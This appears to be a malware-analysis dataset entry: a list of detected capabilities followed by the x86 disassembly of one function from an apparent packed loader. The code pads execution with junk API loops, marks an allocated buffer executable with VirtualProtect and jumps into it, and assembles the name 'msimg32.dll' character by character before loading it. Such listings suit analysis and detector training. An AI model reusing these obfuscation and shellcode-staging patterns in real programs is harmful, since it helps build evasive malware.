Function at 0x4a8800
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x24f0
call fcn.004125e0
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x4a8834
push 0
push 0
push 0
call edi
cmp dword [0x834100], 0x6fb
jne 0x4a884c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9af9f6
jle 0x4a8864
cmp ebx, 0xc10b30
je 0x4a8864
cmp ebp, 0x90503cc
jne 0x4a886d
inc esi
cmp esi, 0x83362
jl 0x4a8824
cmp dword [0x834100], 0xcf8
jne 0x4a889f
push 0
push 0
call fcn.004077f1
push 0
push 0
call fcn.00415ba4
add esp, 0x10
lea eax, [esp + 0x50]
push eax
call fcn.00405b50
push 0
call fcn.00407d90
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x4a88ba
mov eax, 0x5d1
add dword [0x834100], eax
cmp dword [0x834100], 3
jne 0x4a88d1
push 0
push 0
lea ecx, [esp + 0x108]
push ecx
call edi
inc esi
cmp esi, 0x1518d4
jl 0x4a88a7
mov edx, dword [0x834100]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4b4164], eax
mov eax, dword [0x834100]
xor esi, esi
test eax, eax
je 0x4a8941
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x4a8918
push 0
lea eax, [esp + 0x104]
push eax
call ebx
call fcn.004a8320
mov eax, dword [0x834100]
cmp eax, 0x29
jne 0x4a893c
push 0
push 0
lea ecx, [esp + 0x108]
push ecx
push 0
call edi
mov eax, dword [0x834100]
inc esi
cmp esi, eax
jb 0x4a8905
cmp eax, 0x70
jne 0x4a8a5b
lea edx, [esp + 0x1d00]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0x40435c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x1500]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
lea ecx, [esp + 0x1904]
push ecx
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea edx, [esp + 0x904]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x30]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
call esi
push 0x404368
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0x404370
push 0x4043e0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea edx, [esp + 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
push 0
push 0
lea eax, [esp + 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x834100]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [esp + 0x14], 0x9682ab
jmp 0x4a8a80
cmp eax, 3
jne 0x4a8aae
push 0x4044a0
push 0
lea ecx, [esp + 0xd08]
push ecx
push 0x4044cc
push 0x4044e0
push 0x4044fc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [0x834100]
cmp eax, 0xdf
jne 0x4a8b44
push 0x404514
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x20]
push ecx
push edx
push edx
lea eax, [esp + 0x10c]
push eax
push edx
mov dword [esp + 0x30], edx
call ebx
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call esi
push 0x404534
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0x404560
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x4045e0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x834100]
dec dword [esp + 0x14]
jne 0x4a8a80
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x1ff896f4
nop
push 0
call edi
call ebx
dec esi
jne 0x4a8b60
mov ecx, dword [0x834100]
mov edx, dword [0x4b4164]
lea eax, [esp + 0x18]
push eax
push 0x40
push ecx
push edx
mov byte [0x4af3d0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a85e0
mov eax, 0
add dword [0x4b4164], eax
mov eax, 0x73
mov ecx, 0x6d
mov word [0x833112], ax
mov word [0x833116], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x83311a], dx
mov word [0x833126], cx
mov word [0x833118], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x833110
mov dword [0x833120], 0x6c0064
mov word [0x833114], cx
mov word [0x833110], dx
mov word [0x833124], ax
mov dword [0x83311c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x834100], 0xc30
jne 0x4a8cbd
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea eax, [esp + 0x1500]
push eax
push 0x4045e8
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push esi
lea ecx, [esp + 0x1c]
push ecx
push esi
lea edx, [esp + 0x10c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x4045f8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x904]
push eax
push 0x40460c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
lea ecx, [esp + 0xd04]
push ecx
push 0x404620
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [esp + 0x18]
push esi
push esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret